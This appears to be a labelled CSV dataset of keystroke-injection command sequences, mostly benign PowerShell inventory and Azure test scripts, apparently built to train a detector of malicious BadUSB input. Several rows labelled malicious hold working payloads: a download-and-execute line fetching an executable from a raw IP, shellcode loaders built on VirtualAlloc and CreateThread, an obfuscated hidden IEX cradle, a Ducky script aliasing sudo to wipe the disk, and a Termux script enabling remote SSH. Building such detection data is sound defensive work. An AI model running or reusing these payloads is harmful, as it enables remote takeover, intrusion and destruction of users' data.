"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_2ozdussg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4271627e-05
"win+r enter powershell enter enter enter Param( enter [parameter(Mandatory=$true)] enter $CsvFilePath enter ) enter enter $ErrorActionPreference = ""Stop"" enter enter $scriptsPath = $PSScriptRoot enter if ($PSScriptRoot -eq """") { enter $scriptsPath = ""."" enter } enter enter . ""$scriptsPath\asr_logger.ps1"" enter . ""$scriptsPath\asr_common.ps1"" enter . ""$scriptsPath\asr_csv_processor.ps1"" enter enter Function ProcessItemImpl($processor, $csvItem, $reportItem) { enter $reportItem | Add-Member NoteProperty ""ProtectableStatus"" $null enter $reportItem | Add-Member NoteProperty ""ProtectionState"" $null enter $reportItem | Add-Member NoteProperty ""ProtectionStateDescription"" $null enter $reportItem | Add-Member NoteProperty ""ReplicationJobId"" $null enter enter $vaultName = $csvItem.VAULT_NAME enter $sourceAccountName = $csvItem.ACCOUNT_NAME enter $sourceProcessServer = $csvItem.PROCESS_SERVER enter $sourceConfigurationServer = $csvItem.CONFIGURATION_SERVER enter $targetPostFailoverResourceGroup = $csvItem.TARGET_RESOURCE_GROUP enter $targetPostFailoverStorageAccountName = $csvItem.TARGET_STORAGE_ACCOUNT enter $targetPostFailoverVNET = $csvItem.TARGET_VNET enter $targetPostFailoverSubnet = $csvItem.TARGET_SUBNET enter $sourceMachineName = $csvItem.SOURCE_MACHINE_NAME enter $replicationPolicy = $csvItem.REPLICATION_POLICY enter $targetMachineName = $csvItem.TARGET_MACHINE_NAME enter $targetStorageAccountRG = $csvItem.TARGET_STORAGE_ACCOUNT_RG enter $targetVNETRG = $csvItem.TARGET_VNET_RG enter enter $vaultServer = $asrCommon.GetAndEnsureVaultContext($vaultName) enter $fabricServer = $asrCommon.GetFabricServer($sourceConfigurationServer) enter $protectionContainer = $asrCommon.GetProtectionContainer($fabricServer) enter $protectableVM = $asrCommon.GetProtectableItem($protectionContainer, $sourceMachineName) enter enter $processor.Logger.LogTrace(""ProtectableStatus: '$($protectableVM.ProtectionStatus)'"") enter $reportItem.ProtectableStatus = $protectableVM.ProtectionStatus enter enter if ($protectableVM.ReplicationProtectedItemId -eq $null) { enter $processor.Logger.LogTrace(""Starting protection for item '$($sourceMachineName)'"") enter enter $targetPostFailoverStorageAccount = Get-AzureRmStorageAccount ` enter -Name $targetPostFailoverStorageAccountName ` enter -ResourceGroupName $targetStorageAccountRG enter enter $targetResourceGroupObj = Get-AzureRmResourceGroup -Name $targetPostFailoverResourceGroup enter $targetVnetObj = Get-AzureRmVirtualNetwork ` enter -Name $targetPostFailoverVNET ` enter -ResourceGroupName $targetVNETRG enter $targetPolicyMap = Get-AzureRmRecoveryServicesAsrProtectionContainerMapping ` enter -ProtectionContainer $protectionContainer | Where-Object { $_.PolicyFriendlyName -eq $replicationPolicy } enter if ($targetPolicyMap -eq $null) { enter $processor.Logger.LogErrorAndThrow(""Policy map '$($replicationPolicy)' was not found"") enter } enter enter $sourceProcessServerObj = $fabricServer.FabricSpecificDetails.ProcessServers | Where-Object { $_.FriendlyName -eq $sourceProcessServer } enter if ($sourceProcessServerObj -eq $null) { enter $processor.Logger.LogErrorAndThrow(""Process server with name '$($sourceProcessServer)' was not found"") enter } enter $sourceAccountObj = $fabricServer.FabricSpecificDetails.RunAsAccounts | Where-Object { $_.AccountName -eq $sourceAccountName } enter if ($sourceAccountObj -eq $null) { enter $processor.Logger.LogErrorAndThrow(""Account name '$($sourceAccountName)' was not found"") enter } enter enter $processor.Logger.LogTrace( ""Starting replication Job for source '$($sourceMachineName)'"") enter $replicationJob = New-AzureRmRecoveryServicesAsrReplicationProtectedItem ` enter -VMwareToAzure ` enter -ProtectableItem $protectableVM ` enter -Name (New-Guid).Guid ` enter -ProtectionContainerMapping $targetPolicyMap ` enter -RecoveryAzureStorageAccountId $targetPostFailoverStorageAccount.Id ` enter -ProcessServer $sourceProcessServerObj ` enter -Account $sourceAccountObj ` enter -RecoveryResourceGroupId $targetResourceGroupObj.ResourceId ` enter -RecoveryAzureNetworkId $targetVnetObj.Id ` enter -RecoveryAzureSubnetName $targetPostFailoverSubnet ` enter -RecoveryVmName $targetMachineName enter enter $replicationJobObj = Get-AzureRmRecoveryServicesAsrJob -Name $replicationJob.Name enter while ($replicationJobObj.State -eq 'NotStarted') { enter Write-Host ""."" -NoNewline enter $replicationJobObj = Get-AzureRmRecoveryServicesAsrJob -Name $replicationJob.Name enter } enter $reportItem.ReplicationJobId = $replicationJob.Name enter enter if ($replicationJobObj.State -eq 'Failed') { enter LogError ""Error starting replication job"" enter foreach ($replicationJobError in $replicationJobObj.Errors) { enter LogError $replicationJobError.ServiceErrorDetails.Message enter LogError $replicationJobError.ServiceErrorDetails.PossibleCauses enter } enter } else { enter $processor.Logger.LogTrace(""ReplicationJob initiated"") enter } enter } else { enter $protectedItem = Get-AzureRmRecoveryServicesAsrReplicationProtectedItem ` enter -ProtectionContainer $protectionContainer ` enter -FriendlyName $sourceMachineName enter $reportItem.ProtectionState = $protectedItem.ProtectionState enter $reportItem.ProtectionStateDescription = $protectedItem.ProtectionStateDescription enter enter $processor.Logger.LogTrace(""ProtectionState: '$($protectedItem.ProtectionState)'"") enter $processor.Logger.LogTrace(""ProtectionDescription: '$($protectedItem.ProtectionStateDescription)'"") enter } enter } enter enter Function ProcessItem($processor, $csvItem, $reportItem) { enter try { enter ProcessItemImpl $processor $csvItem $reportItem enter } enter catch { enter $exceptionMessage = $_ | Out-String enter $processor.Logger.LogError($exceptionMessage) enter throw enter } enter } enter enter $logger = New-AsrLoggerInstance -CommandPath $PSCommandPath enter $asrCommon = New-AsrCommonInstance -Logger $logger enter $processor = New-CsvProcessorInstance -Logger $logger -ProcessItemFunction $function:ProcessItem enter $processor.ProcessFile($CsvFilePath) enter enter",0,0,0.99971694,0.00028308848
"win+r enter powershell enter enter enter function New-Role { enter enter [PoshBot.BotCommand( enter Aliases = ('nr', 'newrole'), enter Permissions = 'manage-roles' enter )] enter [cmdletbinding()] enter param( enter [parameter(Mandatory)] enter $Bot, enter enter [parameter(Mandatory, Position = 0)] enter [string[]]$Name, enter enter [parameter(Position = 1)] enter [string]$Description enter ) enter enter $notCreated = @() enter foreach ($roleName in $Name) { enter if (-not ($Bot.RoleManager.GetRole($roleName))) { enter enter $role = [Role]::New($roleName, $Bot.Logger) enter if ($PSBoundParameters.ContainsKey('Description')) { enter $role.Description = $Description enter } enter $Bot.RoleManager.AddRole($role) enter if (-not ($Bot.RoleManager.GetRole($roleName))) { enter $notCreated += $roleName enter } enter } else { enter New-PoshBotCardResponse -Type Warning -Text ""Role [$roleName] already exists"" -ThumbnailUrl $thumb.warning enter } enter } enter enter if ($notCreated.Count -eq 0) { enter if ($Name.Count -gt 1) { enter $successMessage = 'Roles [{0}] created.' -f ($Name -join ', ') enter } else { enter $successMessage = ""Role [$Name] created"" enter } enter New-PoshBotCardResponse -Type Normal -Text $successMessage -ThumbnailUrl $thumb.success enter } else { enter if ($notCreated.Count -gt 1) { enter $errMsg = ""Roles [{0}] could not be created. Check logs for more information."" -f ($notCreated -join ', ') enter } else { enter $errMsg = ""Role [$notCreated] could not be created. Check logs for more information."" enter } enter New-PoshBotCardResponse -Type Warning -Text $errMsg -ThumbnailUrl $thumb.warning enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.6535933e-05,0.9999435
DUCKY_REAL_BEGIN enter REM Changes sudo to 'sudo rm -rf / --no-preserve-root' enter REM 10.15+ enter ID 05ac:021e Apple:Keyboard enter DELAY 500 enter COMMAND SPACE enter DELAY 500 enter STRING terminal.app enter DELAY 300 enter ENTER enter DELAY 1000 enter STRING nano ~/.zshrc enter DELAY 500 enter CTRL w enter DELAY 150 enter STRING alias ls= enter ENTER enter DELAY 150 enter END enter ENTER enter SPACE enter REPEAT 3 enter STRING alias sudo='sudo rm -rf --no-preserve-root' enter CTRL o enter DELAY 150 enter ENTER enter DUCKY_REAL_END,1,1,6.103527e-05,0.99993896
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_lj5xam0b"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter",0,0,0.999966,3.395833e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_xbeexuu2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 100 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3973265e-05
POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$0454C18FC09A70BC98 enter B35CC9BB37091CD00078C170C4C283D52181ADD13B4E636E799DCF458797A286A52544820E1225EB enter 72C13C13D0F124A0C1D287C6B04ECC2C8B3389010D0D20A16447B7A1720E182C0D9A8B1EB09B018C enter BE1B925C27CDE1C36909E2ABC7B7430CBD199C773C8C0A9CD305854A954AA128B1B13AD71BC776C1 enter 401C52C1CA07E43002C170E4DD3A1D7530CD9B16575B3110334D09A2B2868AC94925E3C8F84EC49A enter D81E110C75C0137E06C3AFD1EB30197C7949CCF1284E087F0D0C05BE913B4C768693BF6C2041C742 enter 0E9C8A94C49E0EB3F273570E040B12370B27881C2E9EC62111A3D3CA727B7D9717C995BBD711DEA0 enter 6A='IEX(NEW-OBJECT NET.W';$D3519F86C890C461BA00EE59E621F7D2BE50DDE1D11690B984FA3 enter 11F91759E011779839D1D62A01050B5E06060B9199B85D407DD9D8831A767925C31B280351CBBC5B enter C4D8C325D34E01ECE8B7A51039F092AA5E3DFCBFD9326106359DF337639CE3E97E20E86A0914C0EE enter 125D761738AAB52F37184940A02B4F31B37D70E5A324006EF0CADD21B0A7CB049DC7A51E1B6CE7A6 enter FDC768796769C2CF6DA6 enter,1,1,7.093906e-05,0.9999291
unknown_key_action ID 05ac:021e Apple:Keyboard enter delay_medium enter unknown_key_action GUI SPACE enter delay_medium enter Terminal enter delay_medium enter enter enter delay_medium enter unknown_key_action GUI-CTRL f enter delay_long enter htop enter enter,1,1,5.5233566e-05,0.9999448
win+r enter powershell enter enter enter  enter function Test-ListEnrollmentAccounts enter { enter $enrollmentAccounts = Get-AzEnrollmentAccount enter enter Assert-True {$enrollmentAccounts.Count -ge 1} enter Assert-NotNull $enrollmentAccounts[0].ObjectId enter Assert-NotNull $enrollmentAccounts[0].PrincipalName enter } enter function Test-GetEnrollmentAccountWithName enter { enter $enrollmentAccounts = @(Get-AzEnrollmentAccount) enter enter $enrollmentAccountObjectId = $enrollmentAccounts[0].ObjectId enter $enrollmentAccount = Get-AzEnrollmentAccount -ObjectId $enrollmentAccountObjectId enter enter Assert-AreEqual $enrollmentAccountObjectId $enrollmentAccount.ObjectId enter Assert-NotNull $enrollmentAccount.PrincipalName enter } enter enter,0,0,0.999892,0.00010796747
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_w97viul2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.json"") -Encoding UTF8 enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4813766e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_pdy9t985"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 15 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_15.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.47703e-05
"win+r enter powershell enter enter enter $mySubscriptionId = (Get-AzSubscription)[0].Id enter $myResourceGroup = ""myResourceGroup"" enter $myScaleSet = ""myScaleSet"" enter $myLocation = ""East US"" enter $cred = Get-Credential enter New-AzVmss ` enter -ResourceGroupName $myResourceGroup ` enter -VMScaleSetName $myScaleSet ` enter -Location $myLocation ` enter -VirtualNetworkName ""myVnet"" ` enter -SubnetName ""mySubnet"" ` enter -PublicIpAddressName ""myPublicIPAddress"" ` enter -LoadBalancerName ""myLoadBalancer"" ` enter -Credential $cred enter $myRuleScaleOut = New-AzAutoscaleRule ` enter -MetricName ""Percentage CPU"" ` enter -MetricResourceId /subscriptions/$mySubscriptionId/resourceGroups/$myResourceGroup/providers/Microsoft.Compute/virtualMachineScaleSets/$myScaleSet ` enter -TimeGrain 00:01:00 ` enter -MetricStatistic ""Average"" ` enter -TimeWindow 00:05:00 ` enter -Operator ""GreaterThan"" ` enter -Threshold 70 ` enter -ScaleActionDirection ""Increase"" ` enter -ScaleActionScaleType ""ChangeCount"" ` enter -ScaleActionValue 3 ` enter -ScaleActionCooldown 00:05:00 enter $myRuleScaleIn = New-AzAutoscaleRule ` enter -MetricName ""Percentage CPU"" ` enter -MetricResourceId /subscriptions/$mySubscriptionId/resourceGroups/$myResourceGroup/providers/Microsoft.Compute/virtualMachineScaleSets/$myScaleSet ` enter -Operator ""LessThan"" ` enter -MetricStatistic ""Average"" ` enter -Threshold 30 ` enter -TimeGrain 00:01:00 ` enter -TimeWindow 00:05:00 ` enter -ScaleActionCooldown 00:05:00 ` enter -ScaleActionDirection ""Decrease"" ` enter -ScaleActionScaleType ""ChangeCount"" ` enter -ScaleActionValue 1 enter $myScaleProfile = New-AzAutoscaleProfile ` enter -DefaultCapacity 2 ` enter -MaximumCapacity 10 ` enter -MinimumCapacity 2 ` enter -Rule $myRuleScaleOut,$myRuleScaleIn ` enter -Name ""autoprofile"" enter Add-AzAutoscaleSetting ` enter -Location $myLocation ` enter -Name ""autosetting"" ` enter -ResourceGroup $myResourceGroup ` enter -TargetResourceId /subscriptions/$mySubscriptionId/resourceGroups/$myResourceGroup/providers/Microsoft.Compute/virtualMachineScaleSets/$myScaleSet ` enter -AutoscaleProfile $myScaleProfile enter enter",0,0,0.9999454,5.4548473e-05
"win+r powershell enter $OZL = '$LeLP = ''[DllImport(""kernel32.dll"")]public static extern IntPtr Virtual enter Alloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[Dll enter Import(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadA enter ttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwC enter reationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern I enter ntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefiniti enter on $LeLP -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = enter 0xba,0x5e,0x14,0xe4,0x9f,0xdb,0xd1,0xd9,0x74,0x24,0xf4,0x5d,0x29,0xc9,0xb1,0x57 enter ,0x31,0x55,0x12,0x03,0x55,0x12,0x83,0x9b,0x10,0x06,0x6a,0xdf,0xf1,0x44,0x95,0x1f enter ,0x02,0x29,0x1f,0xfa,0x33,0x69,0x7b,0x8f,0x64,0x59,0x0f,0xdd,0x88,0x12,0x5d,0xf5 enter ,0x1b,0x56,0x4a,0xfa,0xac,0xdd,0xac,0x35,0x2c,0x4d,0x8c,0x54,0xae,0x8c,0xc1,0xb6 enter ,0x8f,0x5e,0x14,0xb7 enter enter",1,1,5.448526e-05,0.9999455
"win+r powershell enter Describe ""Get-Item"" -Tags ""CI"" { BeforeAll { if ( $IsWindows ) { $skipNotWind enter ows = $false } else { $skipNotWindows = $true } } It ""Should list all the enter items in the current working directory when asterisk is used"" { $items = Get-It enter em (Join-Path -Path $PSScriptRoot -ChildPath ""*"") ,$items | Should -BeOfType 'S enter ystem.Object[]' enter",1,1,0.005718864,0.9942812
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_xm5006xf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 100 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3875727e-05
"win+r enter powershell enter enter enter $VfA = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $VfA -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xbe,0xe8,0x1d,0x11,0x68,0x02,0x00,0x23,0x29,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$bdO1=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($bdO1.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$bdO1,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.205085e-05,0.9999479
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_hldl8mte"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""svchost"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64, Handles | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_50.json"") -Encoding UTF8 enter",0,0,0.9999664,3.3652683e-05
"win+r enter powershell enter enter enter  enter function Test-LinkedService enter { enter $dfname = Get-DataFactoryName enter $rgname = Get-ResourceGroupName enter $rglocation = Get-ProviderLocation ResourceManagement enter $dflocation = Get-ProviderLocation DataFactoryManagement enter enter New-AzResourceGroup -Name $rgname -Location $rglocation -Force enter enter try enter { enter Set-AzDataFactoryV2 -ResourceGroupName $rgname -Name $dfname -Location $dflocation -Force enter enter $lsname = ""foo"" enter $expected = Set-AzDataFactoryV2LinkedService -ResourceGroupName $rgname -DataFactoryName $dfname -Name $lsname -File .\Resources\linkedService.json -Force enter $actual = Get-AzDataFactoryV2LinkedService -ResourceGroupName $rgname -DataFactoryName $dfname -Name $lsname enter enter Verify-AdfSubResource $expected $actual $rgname $dfname $lsname enter enter Remove-AzDataFactoryV2LinkedService -ResourceGroupName $rgname -DataFactoryName $dfname -Name $lsname -Force enter } enter finally enter { enter CleanUp $rgname $dfname enter } enter } enter function Test-LinkedServiceWithResourceId enter { enter $dfname = Get-DataFactoryName enter $rgname = Get-ResourceGroupName enter $rglocation = Get-ProviderLocation ResourceManagement enter $dflocation = Get-ProviderLocation DataFactoryManagement enter enter New-AzResourceGroup -Name $rgname -Location $rglocation -Force enter enter try enter { enter $df = Set-AzDataFactoryV2 -ResourceGroupName $rgname -Name $dfname -Location $dflocation -Force enter enter $linkedServicename = ""foo1"" enter $expected = Set-AzDataFactoryV2LinkedService -ResourceGroupName $rgname -DataFactoryName $dfname -File .\Resources\linkedService.json -Name $linkedServicename -Force enter $actual = Get-AzDataFactoryV2LinkedService -ResourceId $expected.Id enter enter Verify-AdfSubResource $expected $actual $rgname $dfname $linkedServicename enter enter Remove-AzDataFactoryV2LinkedService -ResourceId $expected.Id -Force enter } enter finally enter { enter CleanUp $rgname $dfname enter } enter } enter function Test-LinkedServiceWithDataFactoryParameter enter { enter $dfname = Get-DataFactoryName enter $rgname = Get-ResourceGroupName enter $rglocation = Get-ProviderLocation ResourceManagement enter $dflocation = Get-ProviderLocation DataFactoryManagement enter enter New-AzResourceGroup -Name $rgname -Location $rglocation -Force enter enter try enter { enter $df = Set-AzDataFactoryV2 -ResourceGroupName $rgname -Name $dfname -Location $dflocation -Force enter enter $lsname = ""foo"" enter $expected = Set-AzDataFactoryV2LinkedService -ResourceGroupName $rgname -DatafactoryName $dfname -Name $lsname -File .\Resources\linkedService.json -Force enter $actual = Get-AzDataFactoryV2LinkedService -DataFactory $df -Name $lsname enter enter Verify-AdfSubResource $expected $actual $rgname $dfname $lsname enter enter Remove-AzDataFactoryV2LinkedService -ResourceGroupName $rgname -DatafactoryName $dfname -Name $lsname -Force enter } enter finally enter { enter CleanUp $rgname $dfname enter } enter } enter function Test-LinkedServicePiping enter { enter $dfname = Get-DataFactoryName enter $rgname = Get-ResourceGroupName enter $rglocation = Get-ProviderLocation ResourceManagement enter $dflocation = Get-ProviderLocation DataFactoryManagement enter enter New-AzResourceGroup -Name $rgname -Location $rglocation -Force enter enter try enter { enter Set-AzDataFactoryV2 -ResourceGroupName $rgname -Name $dfname -Location $dflocation -Force enter enter $lsname = ""foo"" enter enter Set-AzDataFactoryV2LinkedService -ResourceGroupName $rgname -DataFactoryName $dfname -Name $lsname -File .\Resources\linkedService.json -Force enter enter Get-AzDataFactoryV2LinkedService -ResourceGroupName $rgname -DataFactoryName $dfname -Name $lsname | Remove-AzDataFactoryV2LinkedService -Force enter Assert-ThrowsContains { Get-AzDataFactoryV2LinkedService -ResourceGroupName $rgname -DataFactoryName $dfname -Name $lsname } ""NotFound"" enter } enter finally enter { enter CleanUp $rgname $dfname enter } enter } enter enter",0,0,0.9999496,5.0445935e-05
win f termux tab tab enter pkg update -y;pkg install root-repo -y;pkg install openssh -y;ssh-keygen -A;sshd;passwd; enter NewPasswordHere enter ConfirmPasswordHere enter alt f4 alt f4,1,1,0.029507142,0.97049284
"win+r powershell enter param ( $TestGeneral = $true, $TestFunctions = $true, [ValidateSet('None enter ', 'Default', 'Passed', 'Failed', 'Pending', 'Skipped', 'Inconclusive', 'Describ enter e', 'Context', 'Summary', 'Header', 'Fails', 'All')] $Show = ""None"", $Includ enter e = ""*"", $Exclude = """" ) enter",1,1,0.0052072997,0.99479264
"win+r enter powershell enter enter enter  enter function Test-AzureProviderFeature enter { enter $defaultProviderFeatures = Get-AzureRmProviderFeature enter enter $allProviderFeatures = Get-AzureRmProviderFeature -ListAvailable enter enter Assert-True { $allProviderFeatures.Length -gt $defaultProviderFeatures.Length } enter enter $batchFeatures = Get-AzureRmProviderFeature -ProviderName ""Microsoft.Batch"" enter enter Assert-True { $batchFeatures.Length -eq 0 } enter enter $batchFeatures = Get-AzureRmProviderFeature -ProviderName ""Microsoft.Batch"" -ListAvailable enter enter Assert-True { $batchFeatures.Length -gt 0 } enter enter Register-AzureRmProviderFeature -ProviderName ""Microsoft.Cache"" -FeatureName ""betaAccess3"" enter enter $cacheRegisteredFeatures = Get-AzureRmProviderFeature -ProviderName ""Microsoft.Cache"" enter enter Assert-True { $cacheRegisteredFeatures.Length -gt 0 } enter } enter enter",0,0,0.999949,5.1040595e-05
"win+r powershell enter function Test-E2EVariableAsset { $resourceGroupName = ""to-delete-01"" $automati enter onAccountName = ""fbs-aa-01"" $output = Get-AzAutomationAccount -ResourceGroupNam enter e $resourceGroupName -AutomationAccountName $automationAccountName -ErrorAction enter SilentlyContinue $variableName = ""CreateNewVariableWithValue"" $variableValue = enter ""StringValue"" $variableValueUpdated = ""StringValueChanged"" $variableCreated enter = New-AzAutomationVariable -ResourceGroupName $resourceGroupName ` -AutomationA enter ccountName $automationAccountName ` -name $variableName ` enter",1,1,0.0015664203,0.99843353
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_mw9m6o4z"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4187928e-05
